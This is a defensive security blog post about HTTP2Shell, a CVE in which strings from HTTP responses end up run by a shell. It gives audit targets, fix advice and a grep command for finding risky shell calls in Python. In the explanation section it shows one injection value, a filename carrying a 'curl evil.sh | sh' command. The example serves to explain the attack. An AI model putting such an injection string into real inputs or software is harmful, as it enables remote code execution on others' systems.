HTTP2Shell: The Response Is the Payload

A new CVE shows how HTTP responses can end up executed by a shell. Here's how to find every remote-string-to-shell path in your code.

Share

Aikido Security just published research on HTTP2Shell — Node2Shell's bigger sibling — tracked as CVE-2026-111497. The blast radius, per the researchers, covers many HTTP libraries and applications, with several Python packages named, brotli among them.

The bug family fits in one sentence: a string that arrived over HTTP ended up executed by a shell. You probably don't do that on purpose. That's the problem — one of your dependencies might.

Why this matters

Most of us treat a response like data: parse it, validate it, move on. The moment a response field — a filename, a version, a URL — gets concatenated into a command, it stops being data. It's code, written by whoever controls the far end.

Node2Shell demonstrated the pattern with node data. HTTP2Shell widens it: the trigger is the HTTP response itself, which is why so many HTTP libs sit in scope. Fetch anything, then run anything, and this is your problem too.

How it works

Every variant has the same three beats:

  • Network input lands in a variable — body, header, or JSON field.
  • The variable flows through your code, or a library's, into a command string.
  • The command runs with shell interpretation, so quotes, backticks, and $( ) all come alive.

From there it's textbook injection. Feed a victim the value asset.tar.gz; curl evil.sh | sh and the filename stops being a filename. The advisory naming brotli hints at where these payloads hide: inside compressed response bodies your logs never show.

Where this helps

Audit these four patterns first. They're where remote strings most often meet shells:

  • Deploy tooling that interpolates a version string fetched from an API into a shell command.
  • CI plugins that download artifacts by name from a metadata service and exec them.
  • Agents that read a URL from remote config and hand it straight to curl or ffmpeg.
  • Webhook processors that trust a filename from the payload when converting uploads.

Watch out

Dropping shell=True is not a find-and-replace. Globs, pipes, and env expansion disappear, and code that quietly relied on them will break. Run your test suite before you merge.

shlex.quote() patches one hole but keeps the shell in the loop. Argument lists remove the interpreter entirely — that's the actual fix.

Finally, check your lockfile against the advisory. Popular packages are exactly where these things land.

Try it yourself

Find every place a string can reach a shell in a Python repo:

# every path where a remote string could hit a shell
grep -rnE --include='*.py' \
  -e 'shell[[:space:]]*=[[:space:]]*True' \
  -e 'os\.(system|popen)\(' \
  -e 'subprocess\.(run|call|check_output|Popen)\(' \
  . | grep -v tests/

Every hit is either a known-safe call or a bug. There is no third category.

TL;DR

  • What changed: HTTP2Shell (CVE-2026-111497) extends Node2Shell, with many HTTP libraries and Python packages — brotli named — in the blast radius.
  • Why it matters: any response field that reaches a shell is remote code execution for whoever controls the server.
  • Try today: grep for shell=True, os.system, and popen, then convert the hits to argument lists.